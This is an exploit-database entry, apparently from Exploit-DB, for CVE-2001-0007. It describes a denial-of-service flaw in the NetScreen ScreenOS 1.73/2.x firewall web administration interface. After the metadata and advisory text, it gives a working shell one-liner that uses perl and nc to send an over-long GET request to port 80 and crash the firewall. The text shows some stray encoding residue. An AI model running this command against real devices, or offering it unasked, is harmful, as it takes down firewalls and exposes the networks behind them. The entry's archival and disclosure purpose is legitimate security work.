ScreenOS 1.73/2.x - Firewall Denial of Service

Author: Nsfocus
type: dos
platform: sco
port: 
date_added: 2001-01-08 
date_updated: 2012-08-14 
verified: 1 
codes: CVE-2001-0007;OSVDB-1707 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/2176/info

NetScreen Firewall is a network appliance used to secure against intruders and various types of attacks to a network. NetScreen has a Web administrative Interface (WebUI) used to configure and set the firewall settings.

It is possible to cause a denial of service in NetScreen Firewall. Requesting an unusually long URL to WebUI listening on default port 80, will cause the firewall to crash. A restart of the service is required in order to gain normal functionality.

Once the input URL is longer than 1220 bytes=A3=ACNetScreen firewall= will crash:

$echo -e "GET /`perl -e 'print "A"x1220'` HTTP/1.0\n\n"|nc= netscreen_firewall 80